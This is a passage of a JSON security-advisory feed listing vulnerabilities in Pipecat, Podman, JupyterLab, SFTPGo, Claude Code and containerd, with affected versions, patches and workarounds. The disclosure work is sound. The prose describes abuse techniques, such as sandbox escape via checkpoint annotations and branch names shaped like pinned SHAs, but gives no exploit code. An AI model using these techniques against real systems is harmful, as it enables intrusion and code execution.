1.168.56","first_patched_version":"1.168.56","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}],"credits":[],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","score":9.3},"epss":{"percentage":0.00516,"percentile":0.42559}},{"ghsa_id":"GHSA-hqm2-cfx2-2vgh","cve_id":"CVE-2026-102682","url":"https://api.github.com/advisories/GHSA-hqm2-cfx2-2vgh","html_url":"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/advisories/GHSA-hqm2-cfx2-2vgh","summary":"Pipecat: Public exposure of Pipecat’s development runner can allow unauthenticated bot session creation","description":"Pipecat’s built-in development runner exposes endpoints that create bot sessions and, for the Daily transport, paid Daily rooms. These development endpoints intentionally do not authenticate callers.\n\nThe runner binds to localhost by default and is designed exclusively for local development. It is not built or supported as a production server. Exploitation therefore requires an operator to deliberately make the development runner reachable from an untrusted network, such as by setting --host 0.0.0.0, publishing its port, or using a public tunnel without access controls.\n\nIf exposed in this way, an unauthenticated caller may invoke endpoints including /start, /daily, and /daily-dialin-webhook. Depending on the endpoint and configuration, this can create a bot session or Daily room and may return a room URL and join token. Repeated requests may also consume local resources and third-party service quotas.\n\nThe consequences of interacting with a launched bot depend on that bot’s configuration and connected tools. Access to external systems or sensitive information is not an inherent capability of the development runner and is therefore not included as a general impact.\n\nPipecat 1.6.0 clarifies this security boundary in two ways:\n\n- The development runner displays a prominent startup banner identifying it as a development tool.\n- The documentation explicitly states that the runner must not be used as a production server or exposed directly to untrusted traffic.\n\nThe local development documentation (https://docs.pipecat.ai/pipecat/deployment/running-bots-locally) identifies the unauthenticated endpoints, lack of rate limiting, and risks of public exposure. The production deployment documentation (https://docs.pipecat.ai/pipecat/deployment/running-bots-in-production) directs users to a production dispatcher or managed runtime and describes minimum protections for limited prototype use.\n\n### Resolution\n\n> Pipecat 1.6.0 documents and surfaces the intended security boundary of the development runner. The unauthenticated development behavior remains by design. Users must not\n> expose the runner directly to untrusted networks; production deployments require an authenticated dispatcher or managed runtime.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/pipecat-ai/pipecat/security-advisories/GHSA-hqm2-cfx2-2vgh","source_code_location":"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/pipecat-ai/pipecat","identifiers":[{"value":"GHSA-hqm2-cfx2-2vgh","type":"GHSA"},{"value":"CVE-2026-102682","type":"CVE"}],"references":["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/pipecat-ai/pipecat/security/advisories/GHSA-hqm2-cfx2-2vgh","https://nvd.nist.gov/vuln/detail/CVE-2026-102682","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/pipecat-ai/pipecat/pull/5060","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/pipecat-ai/pipecat/commit/acaac3e49f50968f3ffb645a42ecc48d71c4e723","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/pipecat-ai/pipecat/releases/tag/v1.6.0","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/advisories/GHSA-hqm2-cfx2-2vgh"],"published_at":"2026-10-15T20:22:18Z","updated_at":"2026-10-15T20:22:20Z","github_reviewed_at":"2026-10-15T20:22:18Z","nvd_published_at":"2026-10-14T19:17:05Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"pipecat-ai"},"vulnerable_version_range":">= 0.0.98, <= 1.5.0","first_patched_version":"1.6.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","score":5.6},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-345","name":"Insufficient Verification of Data Authenticity"},{"cwe_id":"CWE-770","name":"Allocation of Resources Without Limits or Throttling"},{"cwe_id":"CWE-862","name":"Missing Authorization"}],"credits":[{"user":{"login":"infycore","id":230860773,"node_id":"U_kgDODcKn5Q","avatar_url":"https://avatars.githubusercontent.com/u/230860773?v=4","gravatar_id":"","url":"https://api.github.com/users/infycore","html_url":"/infycore","followers_url":"https://api.github.com/users/infycore/followers","following_url":"https://api.github.com/users/infycore/following{/other_user}","gists_url":"https://api.github.com/users/infycore/gists{/gist_id}","starred_url":"https://api.github.com/users/infycore/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/infycore/subscriptions","organizations_url":"https://api.github.com/users/infycore/orgs","repos_url":"https://api.github.com/users/infycore/repos","events_url":"https://api.github.com/users/infycore/events{/privacy}","received_events_url":"https://api.github.com/users/infycore/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"agent-kira","id":230979688,"node_id":"U_kgDODcR4aA","avatar_url":"https://avatars.githubusercontent.com/u/230979688?v=4","gravatar_id":"","url":"https://api.github.com/users/agent-kira","html_url":"/agent-kira","followers_url":"https://api.github.com/users/agent-kira/followers","following_url":"https://api.github.com/users/agent-kira/following{/other_user}","gists_url":"https://api.github.com/users/agent-kira/gists{/gist_id}","starred_url":"https://api.github.com/users/agent-kira/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agent-kira/subscriptions","organizations_url":"https://api.github.com/users/agent-kira/orgs","repos_url":"https://api.github.com/users/agent-kira/repos","events_url":"https://api.github.com/users/agent-kira/events{/privacy}","received_events_url":"https://api.github.com/users/agent-kira/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"finder"}],"comments":12,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L","score":5.6},"epss":{"percentage":0.00234,"percentile":0.13238}},{"ghsa_id":"GHSA-2cvf-wqm6-wr9g","cve_id":"CVE-2026-94603","url":"https://api.github.com/advisories/GHSA-2cvf-wqm6-wr9g","html_url":"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/advisories/GHSA-2cvf-wqm6-wr9g","summary":"Podman: The `podman run` command can be instructed to disable almost all sandboxing by image annotation","description":"### Impact\nPodman v4.4.0 added a feature where container checkpoints (from the `podman container checkpoint` command) could be distributed via OCI registry, and pulled from that registry and run via the `podman run` command. This allowed easy transfer of checkpoints between systems. However, checkpoints allow complete control of how the container is created - including full control of the container sandbox. When `podman run` detects a checkpoint, it will silently ignore all user input regarding how the container should be created - for example, `podman run --cap-drop=ALL` on an image that is determined to be a checkpoint will ignore `--cap-drop=all` and use the set of capabilities specified by the checkpoint image instead, which could include all capabilities. Podman identifies checkpoint images by looking for an annotation, `io.podman.annotations.checkpoint.runtime.name`. If this annotation is set, the image is treated as a checkpoint. Conflating container images and checkpoints in `podman run` allows inherently insecure behavior as the image can now control how it is executed. The Podman Maintainers have determined that the safest course of action is to remove this functionality.\n\n### Patch\nThe commit introducing this functionality was reverted.\n\n3721ff82ffb44a4ceeaecc5abd3808e924a6b669 c74b1d37b3fb834b0de43e176565d9d8c254b627 fa6cef22c2baf3987b581c673bb416ef0585daf7 (main)\nea9243e04d1db3886dc3a51ee3300ffb547cfc02 450c64426dbcff1097d3c7911d791101e3d16f4c 2d05a7c61f022d4f24980ea6d307fa53da2b8692 (v6.1)\n7728ba0a90094408ad9078e36c3622a651d49616 24706290d5c974f078d8ca284026802515f28e92 29c8c6e50607df7a7d735ace09ff0ea099c0b3e0 (v5.8)\n\n### Workarounds\nImages being pulled should be scanned for the `io.podman.annotations.checkpoint.runtime.name` annotation, and rejected if it is present. Podman does not presently have the ability to perform this scanning and rejection automatically.\n\nAlso not that rootless containers are not affected as they do not support checkpoint/restore at all currently.\n\n### Credits\nThis vulnerability was discovered by ADA Logics Ltd using Anthropic's Claude models.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/podman-container-tools/podman/security-advisories/GHSA-2cvf-wqm6-wr9g","source_code_location":"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/podman-container-tools/podman","identifiers":[{"value":"GHSA-2cvf-wqm6-wr9g","type":"GHSA"},{"value":"CVE-2026-94603","type":"CVE"}],"references":["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/podman-container-tools/podman/security/advisories/GHSA-2cvf-wqm6-wr9g","https://nvd.nist.gov/vuln/detail/CVE-2026-94603","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/podman-container-tools/podman/commit/24706290d5c974f078d8ca284026802515f28e92","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/podman-container-tools/podman/commit/3721ff82ffb44a4ceeaecc5abd3808e924a6b669","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/podman-container-tools/podman/commit/450c64426dbcff1097d3c7911d791101e3d16f4c","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/podman-container-tools/podman/commit/7728ba0a90094408ad9078e36c3622a651d49616","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/podman-container-tools/podman/commit/c74b1d37b3fb834b0de43e176565d9d8c254b627","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/podman-container-tools/podman/commit/ea9243e04d1db3886dc3a51ee3300ffb547cfc02","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/podman-container-tools/podman/releases/tag/v5.8.8","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/podman-container-tools/podman/releases/tag/v6.1.3","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/advisories/GHSA-2cvf-wqm6-wr9g"],"published_at":"2026-10-15T20:22:16Z","updated_at":"2026-10-15T20:22:17Z","github_reviewed_at":"2026-10-15T20:22:16Z","nvd_published_at":"2026-10-13T17:17:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/containers/podman"},"vulnerable_version_range":">= 4.4.0, < 5.8.8","first_patched_version":"5.8.8","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"go.podman.io/podman/v6"},"vulnerable_version_range":">= 6.0.0, < 6.1.3","first_patched_version":"6.1.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-693","name":"Protection Mechanism Failure"}],"credits":[],"comments":5,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10.0},"epss":{"percentage":0.00918,"percentile":0.59508}},{"ghsa_id":"GHSA-jwrc-gm9j-263p","cve_id":"CVE-2026-102832","url":"https://api.github.com/advisories/GHSA-jwrc-gm9j-263p","html_url":"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/advisories/GHSA-jwrc-gm9j-263p","summary":"JupyterLab: Command link trust prompt in JupyterLab can trust a document other than the one clicked","description":"## Description\n\nA Markdown file or a notebook output can carry a button that runs a JupyterLab command. Since 4.5.7 the first click on such a button opens a prompt naming the command, with Cancel, Run Once and Trust. Choosing Trust runs the command and marks the document trusted, so its later buttons run without a prompt.\n\nWhich document gets marked is decided when the user answers, not when they click. Both trust commands read whichever document is current at that moment: `markdownviewer:trust` uses `tracker.currentWidget`, and `notebook:trust` uses the equivalent lookup. If another document becomes current while the prompt is open, that document is the one marked trusted, and the one the user was looking at stays untrusted.\n\nUsers are affected if all of the following are true:\n\n- they run JupyterLab 4.5.7 through 4.6.3, or an application that bundles it such as Notebook 7.5+;\n- they open a Markdown file or notebook from someone else and click a button in it;\n- they answer Trust rather than Cancel or Run Once; and\n- a second document becomes the current one while the prompt is open, for example through a workspace restoring at startup, an extension activating a widget, or a command that opens a file\n\n### Impact\n\nThe user loses control over which document they trusted. Every button in the document that was (incorrectly) marked as trusted runs from then on without a prompt, so if that document also came from an untrusted source, its buttons fire on a single click with no confirmation. That is the state the prompt was added to prevent, in [GHSA-mqcg-5x36-vfcg](https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-mqcg-5x36-vfcg).\n\nThe command that ran had the user's consent, because the prompt named it and they pressed Trust. The document they were reading stays untrusted, so it prompts again on the next click.\n\n#### Notebooks are written to disk\n\nWhen the document marked is a notebook, the effect outlives the browser session. `notebook:trust` marks every cell trusted and then saves the file, which results in the server signing it, so the notebook stays trusted when it is next opened. The save also writes out any unsaved edits in that notebook. A second confirmation appears first, but it says only that a trusted notebook may execute hidden code, without naming the file, so it does not show the user which notebook is about to be trusted.\n\nA Markdown preview marked this way stays trusted only until it is closed. Nothing is written to disk.\n\n### Patches\n\nJupyterLab [`v4.6.4`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.6.4) and [`v4.5.11`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.11) contain the patch. The trust request now carries the document that was clicked, and the command is run only once that same document has been marked.\n\nUsers of applications that depend on JupyterLab, such as Notebook v7+, should update `jupyterlab` package too.\n\n### Workarounds\n\nGiven the high complexity of a potential exploit, we advise treating this as a defense in-depth and update at earliest opportunity, rather than apply the workarounds listed below. However, for users running in highly sensitive environments who are unable to upgrade the workarounds are included below. \n\nTurn off command linker, which removes the ability to execute frontend commands altogether:\n\n```json\n{\n  \"@jupyterlab/apputils-extension:sanitizer\": {\n    \"allowCommandLinker\": false\n  }\n}\n```\n\nIn such configuration the buttons in Markdown files and notebook outputs then do nothing when clicked. Documentation and extensions that use command links for navigation stop working, and the setting applies to every document, not only untrusted ones.\n\nIf disabling that setting is not desirable and update is not possible, advise users to choose \"Run Once\" rather than \"Trust\". \"Run Once\" makes the command run but no document is marked, so nothing can be trusted in error.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/jupyterlab/jupyterlab/security-advisories/GHSA-jwrc-gm9j-263p","source_code_location":"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/jupyterlab/jupyterlab","identifiers":[{"value":"GHSA-jwrc-gm9j-263p","type":"GHSA"},{"value":"CVE-2026-102832","type":"CVE"}],"references":["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/jupyterlab/jupyterlab/security/advisories/GHSA-jwrc-gm9j-263p","https://nvd.nist.gov/vuln/detail/CVE-2026-102832","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/jupyterlab/jupyterlab/commit/0fc18ab4ef67e431a8f6560e387193baf786c70a","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/jupyterlab/jupyterlab/commit/b64bc88b8ca034cf158604a5cc48ca9170ea453b","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/jupyterlab/jupyterlab/commit/f7e5f9803fdf2aaaa0e9bfb9cc73386a8cc5f0b2","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/jupyterlab/jupyterlab/releases/tag/v4.5.11","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/jupyterlab/jupyterlab/releases/tag/v4.6.4","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/advisories/GHSA-jwrc-gm9j-263p"],"published_at":"2026-10-15T20:22:13Z","updated_at":"2026-10-15T20:22:14Z","github_reviewed_at":"2026-10-15T20:22:13Z","nvd_published_at":"2026-10-13T16:17:09Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jupyterlab"},"vulnerable_version_range":">= 4.6.0, <= 4.6.3","first_patched_version":"4.6.4","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"jupyterlab"},"vulnerable_version_range":">= 4.5.7, <= 4.5.10","first_patched_version":"4.5.11","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"notebook"},"vulnerable_version_range":">= 7.5.6, <= 7.6.2","first_patched_version":"7.6.3","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"jupyterlite-core"},"vulnerable_version_range":">= 0.7.5, <= 0.8.3","first_patched_version":"0.8.4","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-367","name":"Time-of-check Time-of-use (TOCTOU) Race Condition"},{"cwe_id":"CWE-863","name":"Incorrect Authorization"}],"credits":[{"user":{"login":"rexpository","id":30176934,"node_id":"MDQ6VXNlcjMwMTc2OTM0","avatar_url":"https://avatars.githubusercontent.com/u/30176934?v=4","gravatar_id":"","url":"https://api.github.com/users/rexpository","html_url":"/rexpository","followers_url":"https://api.github.com/users/rexpository/followers","following_url":"https://api.github.com/users/rexpository/following{/other_user}","gists_url":"https://api.github.com/users/rexpository/gists{/gist_id}","starred_url":"https://api.github.com/users/rexpository/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rexpository/subscriptions","organizations_url":"https://api.github.com/users/rexpository/orgs","repos_url":"https://api.github.com/users/rexpository/repos","events_url":"https://api.github.com/users/rexpository/events{/privacy}","received_events_url":"https://api.github.com/users/rexpository/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"MUFFANUJ","id":151390316,"node_id":"U_kgDOCQYIbA","avatar_url":"https://avatars.githubusercontent.com/u/151390316?v=4","gravatar_id":"","url":"https://api.github.com/users/MUFFANUJ","html_url":"/MUFFANUJ","followers_url":"https://api.github.com/users/MUFFANUJ/followers","following_url":"https://api.github.com/users/MUFFANUJ/following{/other_user}","gists_url":"https://api.github.com/users/MUFFANUJ/gists{/gist_id}","starred_url":"https://api.github.com/users/MUFFANUJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MUFFANUJ/subscriptions","organizations_url":"https://api.github.com/users/MUFFANUJ/orgs","repos_url":"https://api.github.com/users/MUFFANUJ/repos","events_url":"https://api.github.com/users/MUFFANUJ/events{/privacy}","received_events_url":"https://api.github.com/users/MUFFANUJ/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer"},{"user":{"login":"krassowski","id":5832902,"node_id":"MDQ6VXNlcjU4MzI5MDI=","avatar_url":"https://avatars.githubusercontent.com/u/5832902?v=4","gravatar_id":"","url":"https://api.github.com/users/krassowski","html_url":"/krassowski","followers_url":"https://api.github.com/users/krassowski/followers","following_url":"https://api.github.com/users/krassowski/following{/other_user}","gists_url":"https://api.github.com/users/krassowski/gists{/gist_id}","starred_url":"https://api.github.com/users/krassowski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/krassowski/subscriptions","organizations_url":"https://api.github.com/users/krassowski/orgs","repos_url":"https://api.github.com/users/krassowski/repos","events_url":"https://api.github.com/users/krassowski/events{/privacy}","received_events_url":"https://api.github.com/users/krassowski/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"coordinator"}],"comments":3,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","score":4.2},"epss":{"percentage":0.00145,"percentile":0.03341}},{"ghsa_id":"GHSA-wwv9-g5x4-966q","cve_id":"CVE-2026-103028","url":"https://api.github.com/advisories/GHSA-wwv9-g5x4-966q","html_url":"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/advisories/GHSA-wwv9-g5x4-966q","summary":"SFTPGo source-side file-pattern filter bypass during copy operations","description":"### Summary\n\nFile pattern filters (`denied_patterns` / `allowed_patterns`) were evaluated on the destination of a copy only. A user holding the copy permission could copy a file denied by the filters to a permitted name and then read it. A recursive directory copy reproduced the contents of a restricted directory under a path where the filters do not deny them, and the hide policy was affected in the same way: a file reported as missing by stat and by directory listings could still be copied.\n\n### Details\n\nAn authenticated user can read the contents of files that the file pattern filters are configured to deny them. Nothing else is bypassed: the home directory, the virtual folder layout and the per-directory permissions are all still enforced, and both ends of the copy are paths the account can already reach. No access to other accounts and no administrative capability.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/drakkan/sftpgo/security-advisories/GHSA-wwv9-g5x4-966q","source_code_location":"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/drakkan/sftpgo","identifiers":[{"value":"GHSA-wwv9-g5x4-966q","type":"GHSA"},{"value":"CVE-2026-103028","type":"CVE"}],"references":["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/drakkan/sftpgo/security/advisories/GHSA-wwv9-g5x4-966q","https://nvd.nist.gov/vuln/detail/CVE-2026-103028","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/drakkan/sftpgo/commit/dc8886bc079094b4ac2338df683f358b7676b5eb","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/drakkan/sftpgo/releases/tag/v2.7.6","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/advisories/GHSA-wwv9-g5x4-966q"],"published_at":"2026-10-15T20:22:10Z","updated_at":"2026-10-15T20:22:12Z","github_reviewed_at":"2026-10-15T20:22:10Z","nvd_published_at":"2026-10-13T15:17:30Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/drakkan/sftpgo/v2"},"vulnerable_version_range":">= 2.5.0, <= 2.7.5","first_patched_version":"2.7.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-863","name":"Incorrect Authorization"}],"credits":[{"user":{"login":"arpitjain099","id":3242828,"node_id":"MDQ6VXNlcjMyNDI4Mjg=","avatar_url":"https://avatars.githubusercontent.com/u/3242828?v=4","gravatar_id":"","url":"https://api.github.com/users/arpitjain099","html_url":"/arpitjain099","followers_url":"https://api.github.com/users/arpitjain099/followers","following_url":"https://api.github.com/users/arpitjain099/following{/other_user}","gists_url":"https://api.github.com/users/arpitjain099/gists{/gist_id}","starred_url":"https://api.github.com/users/arpitjain099/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arpitjain099/subscriptions","organizations_url":"https://api.github.com/users/arpitjain099/orgs","repos_url":"https://api.github.com/users/arpitjain099/repos","events_url":"https://api.github.com/users/arpitjain099/events{/privacy}","received_events_url":"https://api.github.com/users/arpitjain099/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":4,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3},"epss":{"percentage":0.00219,"percentile":0.11462}},{"ghsa_id":"GHSA-pq7j-f95f-qfcv","cve_id":"CVE-2026-86063","url":"https://api.github.com/advisories/GHSA-pq7j-f95f-qfcv","html_url":"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/advisories/GHSA-pq7j-f95f-qfcv","summary":"Claude Code: Plugin Hash Pin Bypass Allows Bypass of Hash Pinning","description":"The plugin install flow in Claude Code and Claude Desktop checked out a marketplace's pinned commit SHA using `git checkout` without verifying that the resulting HEAD matched the pinned SHA. An attacker controlling a plugin's upstream repository could create a branch named identically to the pinned 40-character SHA, causing the checkout to silently resolve to the attacker's branch tip instead of the reviewed commit, resulting in attacker-controlled code being installed bypassing the pinned hash. Exploitation required a user to install a malicious plugin, pin to a safe hash, and for the plugin source to be hosted on a git host that permitted SHA-shaped branch names.\n\nUsers on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.\n\nThank you to Or Nevo Michrowski of Air Security for reporting this issue.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/anthropics/claude-code/security-advisories/GHSA-pq7j-f95f-qfcv","source_code_location":"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/anthropics/claude-code","identifiers":[{"value":"GHSA-pq7j-f95f-qfcv","type":"GHSA"},{"value":"CVE-2026-86063","type":"CVE"}],"references":["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/anthropics/claude-code/security/advisories/GHSA-pq7j-f95f-qfcv","https://nvd.nist.gov/vuln/detail/CVE-2026-86063","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/anthropics/claude-code/releases/tag/v2.1.179","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/advisories/GHSA-pq7j-f95f-qfcv"],"published_at":"2026-10-15T20:22:07Z","updated_at":"2026-10-15T20:22:08Z","github_reviewed_at":"2026-10-15T20:22:07Z","nvd_published_at":"2026-10-13T19:21:21Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@anthropic-ai/claude-code"},"vulnerable_version_range":"< 2.1.179","first_patched_version":"2.1.179","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.5}},"cwes":[{"cwe_id":"CWE-494","name":"Download of Code Without Integrity Check"},{"cwe_id":"CWE-829","name":"Inclusion of Functionality from Untrusted Control Sphere"}],"credits":[],"comments":1,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00171,"percentile":0.06076}},{"ghsa_id":"GHSA-rp3h-jf77-q9p4","cve_id":"CVE-2026-95838","url":"https://api.github.com/advisories/GHSA-rp3h-jf77-q9p4","html_url":"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/advisories/GHSA-rp3h-jf77-q9p4","summary":"containerd: Unpack DoS via repeated opaque whiteouts","description":"### Impact\n\nA vulnerability exists in containerd's layer unpack handler where the processing of certain image layers causes superlinear time complexity. During the unpack operation, specific file configurations within the layer can trigger repeated directory traversals.\n\nConsequently, pulling or importing a maliciously crafted image can result in increased unpack times and a moderate increase in CPU usage. This delays container startup, even if the compressed image layers are small. Additionally, in orchestrators like Kubernetes that apply concurrency limits to image pulls, these excessively long operations can reduce the available concurrency for other pulls, potentially delaying unrelated container deployments.\n\n### Patches\n\nThis bug has been fixed in containerd 2.3.5, 2.2.8, 2.0.12, and 1.7.35. Users should update to these versions to resolve the issue.\n\n### Workarounds\n\nThere are no known workarounds for this issue. Users are advised to only pull and import trusted images from known registries until the patch can be applied.\n\n### Credits\n\nThe containerd project would like to thank Jakub Ciolek of AlphaSense for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/containerd/containerd/security-advisories/GHSA-rp3h-jf77-q9p4","source_code_location":"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/containerd/containerd","identifiers":[{"value":"GHSA-rp3h-jf77-q9p4","type":"GHSA"},{"value":"CVE-2026-95838","type":"CVE"}],"references":["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/containerd/containerd/security/advisories/GHSA-rp3h-jf77-q9p4","https://nvd.nist.gov/vuln/detail/CVE-2026-95838","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/containerd/containerd/commit/e6ca378dcfa610d06589a3ac96aa992de866e4f0","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/advisories/GHSA-rp3h-jf77-q9p4"],"published_at":"2026-10-15T20:22:05Z","updated_at":"2026-10-15T20:22:07Z","github_reviewed_at":"2026-10-15T20:22:05Z","nvd_published_at":"2026-10-12T20:17:10Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/containerd/containerd/v2"},"vulnerable_version_range":"< 2.0.12","first_patched_version":"2.0.12","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/containerd/containerd"},"vulnerable_version_range":"< 1.7.35","first_patched_version":"1.7.35","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/containerd/containerd/v2"},"vulnerable_version_range":">= 2.2.0, < 2.2.8","first_patched_version":"2.2.8","vulnerable_functions":[]},{"package":{"ecosystem":"go","name":"github.com/containerd/containerd/v2"},"vulnerable_version_range":">= 2.3.0, < 2.3.5","first_patched_version":"2.3.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":4.6}},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-407","name":"Inefficient Algorithmic 